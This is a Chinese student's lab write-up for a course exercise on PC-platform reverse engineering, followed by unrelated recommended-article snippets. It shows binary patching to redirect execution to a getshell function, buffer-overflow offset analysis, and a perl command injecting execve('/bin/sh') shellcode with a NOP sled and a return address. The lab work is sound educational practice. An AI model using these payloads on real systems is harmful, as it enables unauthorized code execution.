2018-2019-2 《网络对抗技术》Exp1 PC平台逆向破解 20165222_weixin_30633949的博客-程序员信息网

Exp1 PC平台逆向破解

1,掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP:空指令,作用就是直接跳到下一指令。机器码为:90。

JNE:判断0标志位,不等于0跳转。机器码为:75。

JE:判断0标志位,等于0跳转。机器码为:74。

JMP:无条件跳转。机器码为:eb。

CMP:比较后面两个值,即第一个减第二个,只影响标志位。机器码为:83。

2,掌握反汇编与十六进制编程器 

反汇编:objdump 加各种参数,管道符号,重定向符等,这里不一一列出。

十六进制编程器:

3,能正确修改机器指令改变程序执行流程。

由图可知foo函数的地址为8048491,getshell为804847d,用windows下程序员计算器16进制相减=14,d7-14=c3;因此将d7位置改为c3。

先vi 进入可执行文件,再%!xxd转为16进制,找到d7改为c3,最后%!xxd -r 转回去wq保存。当然该过程也可通过16进制编程器进行。

结果如下:

 

4,能正确构造payload进行bof攻击。

1)通过构造输入参数,造成BOF攻击,改变程序执行流

需要进行攻击的函数反汇编代码如下:

由代码可知,第一行代码将原函数栈底指针压栈,第二行代码用esp和edp两指针来开始操作foo函数,第三行esp移动到0x38位置,第四五行则是把eax和esp移动到0x1c的位置,第六行通俗的讲就是一个写入函数,把我的输入从0x1c写到0x38的位置,到这里后面的输出等代码就可不用分析,就已经找到缓冲区的大小了,即0x38-0x1c=28字节,然后加上存储下一条指令的寄存器的大小4字节,总计32字节。

结果如下:

当然,无法直观分析出缓冲区大小的话,可以通过gdb调试慢慢套出来。如下图:可见1234出了问题。

(2)注入shellcode并执行。

直接使用实验中给的shellcode,如下:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

先做好准备工作:

 采用nop+shellcode+retaddr方法,确定返回值的地址。

方法为通过

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

 注入,再用gdb调试,找到1234的位置,我的如图所示:

可见01020304就在0xffffd2fc附近,加4得0xffffd300,则该位置为我的shellcode得起始位置。

因此构建以0xffffd300为返回位置的shellcode,成功。如图:

实验收获与感想

虽说这次实验比较简单,但收获相当大。

一是课堂上有些没弄明白的地方,通过自己做实验都弄明白了。

二是发现了一个有趣的东西,如下图:

尽管第二个的机械码一看就有点问题,但还是不清楚为什么会出现这种情况。

三是通过自学汇编,已经能够分析出本次实验的缓冲区大小。

 什么是漏洞?漏洞有什么危害?

我认为漏洞就是系统,软件乃至硬件存在的在设计过程中的或者在协议通信过程中等方面存在的不安全,易被别人用来进行破坏或牟利的东西。

危害:可能会导致泄露隐私,系统或文件遭到加密或破坏,cpu被他人利用。

 

转载于:https://www.cnblogs.com/20165222lixu/p/10542582.html

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_30633949/article/details/96568425

智能推荐

基于matplotlib的数据可视化 - 笔记_weixin_33943347的博客-程序员信息网

1 基本绘图在plot()函数中只有x,y两个量时。import numpy as npimport matplotlib.pyplot as plt# 生成曲线上各个点的x,y坐标,然后用一段段直线连起来# 利用linspace函数产生一个等差数列x = np.linspace(-np.pi, np.pi, 200)cos_y = np.cos(x) / 2...

Python编程——使用scapy模块进行ARP局域网扫描,获取主机IP和MAC_本练习通过 python 编程实现 arp 扫描,通过扫描获取局域网内所有活动主机的 ip 地_橘子女侠的博客-程序员信息网

1. scapy模块(1)scapy模块的特点:scapy是一个可用于网络嗅探的非常强大的第三方库。主要具有以下几个特点:1. 可以以交互模式运行(命令行),也可以作为第三方库(写成黑客脚本等);2. 可以用来做packet嗅探和伪造packet;3. 已经在内部实现了大量的网络协议,可以用来编写非常灵活的工具;4. 它可以伪造或者解析多种协议的报文,还具有...

php json数组删除元素,使用json_encode()时删除数组索引引用_李茂宗的博客-程序员信息网

我使用jQuery制作了一个小型应用程序datepicker。我正在从如下所示的JSON文件中为其设置不可用的日期:{ "dates": ["2013-12-11", "2013-12-10", "2013-12-07", "2013-12-04"] }我想检查给定的日期是否已经在此列表中,如果有,请删除它。我当前的代码如下所示:if (isset($_GET['date'])) //the da...

opencv里findcontours函数中hierarchy的意义_opencv hierarchy_肚皮朝上的刺猬的博客-程序员信息网

这两天用到opencv里findcontour函数中RETR_TREE模式,对该函数找到的轮廓顺序不是很懂,就自己试了一下。在该模式下查找到的轮廓是以一个树状结构存储的,轮廓的排序是由外侧开始查找(图像的边界为第0号轮廓),当一个轮廓既有内嵌轮廓,又有同级轮廓时,内嵌轮廓的优先级更高(即内嵌轮廓的contours序号更小),如下图所示排序。hierarchy[i]对应于contou

什么是内网,什么是公网,什么是私网_编程不是很难呀!的博客-程序员信息网

内网内网:也叫局域网(Local Area Network,LAN),是在一个局部的地理范围内(如校园网),一般是方圆几千米以内,将各种计算机,外部设备和数据库等互相联接起来组成的计算机通信网。公网公网是相对于内网而言的。内网上网的计算机得到的IP地址是Internet上的保留地址;而公网上网的计算机得到的IP地址是因特网的公用地址,是非保留的地址。公网的计算机和因特网上的其他计算机可随意互相访问。外网广域网(英语:Wide Area Network,缩写为 WAN),又称广域网、外网。是连接不同

首席新媒体运营商学院黎想:以产品推广为例,分析如何做新媒体运营策略_如何搭建新产品运营策略_首席新媒体的博客-程序员信息网

一、调研首先不能盲目“造车”,要充分了解市场行情获取调研结果,这样制定的运营策略才有针对性和可行性。作为新媒体运营人,首席新媒体商学院创始人,资深新媒体运营人,《新媒体推广运营实战大全》 作者、知名品牌营销顾问黎想就拿调研的时候所收集哪些信息要素呢?我们可以从交易思维和市场思维说起。1. 交易思维所有的业务都是一场交易,推广新产品也不例外。交易本身有三要素,分别为交易对象、交易内容、交...

随便推点

css上下浮动动画效果_css上下移动动画_司徒小北的博客-程序员信息网

比如有一个非gif的导向箭头,需要微微浮动提示用户具体操作导向,用css去写,实现方法如下:1、首先创建一个dom元素,controller是包裹导向箭头的容器,img是导向箭头图片<div class="controller"> <img src="xxxx" alt=""></div>2、css中创建动画,动画的快慢速度可以通过元素...

PHP团队 编码规范 & 代码样式风格规范_weixin_41547083的博客-程序员信息网

一、基本约定1、源文件(1)、纯PHP代码源文件只使用 ;(2)、源文件中PHP代码的编码格式必须是无BOM的UTF-8格式;(3)、使用 Unix LF(换行符)作为行结束符;(4)、一个源文件只做一种类型的声明,即,这个文件专门用来声明Class, 那个文件专门用来设置配置信息,别混在一起写;2、缩进使用Tab键来缩进,每个Tab键

vue下拉自动刷新 上拉加载更多_vue axios 上拉加载更多_fanruitian的博客-程序员信息网

组件:vue-scrollergit:https://github.com/wangdahoo/vue-scrollerdemo:https://wangdahoo.github.io/vue-scroller/#/customSpinner下载链接:https://unpkg.com/[email protected]/dist/vue.min.jshttps://unpkg.com/vue-scroller...

Pycharm运行Python代码报错解决方法(图解), ImportError: DLL load failed: 找不到指定的模块_pycharm运行python报错_G果的博客-程序员信息网

报错如下C:\ProgramData\Anaconda3\python.exe "C:\Program Files\JetBrains\PyCharm 2018.3.3\helpers\pydev\pydevconsole.py" --mode=client --port=52241Traceback (most recent call last): File "C:\Program Fi...

自动抢红包,自动安装原理之AccessibilityService_qq_15796477的博客-程序员信息网

前段时间看别人博客的时候偶然间看到了Android微信自动回复功能,最后的效果也很不错,博主在文中提到了AccessibilityService,以前压根没接触过这东西,表示一脸懵逼。也是这个原因我去找了AccessibilityService相关的资料好好的看了一遍,发现这个东西真的太NB了,网上对AccessibilityService的应用还是有不少的文章的,但是详细的介绍资料还是比较少,对

Javax开头的包代表什么,这个“X”是从哪里来的。_javax是什么包_为我千千万万遍的博客-程序员信息网

今天老师讲到一个例子,导入javax.swing的时候觉得很奇怪,之前导入的包像java.util、java.lang等都是以java开头的啊!怎么又出现了一些以javax开头的包呢?它跟以java.开头的包又会有什么不一样呢?当是在弹幕问老师,老师可能没有看见(我是在校学生,因为新冠疫情在家上课),也没有回答我,所以我就自己查了一些资料,跟大家分享一下我的想法。 在Java的早期两个...

推荐文章

热门文章

相关标签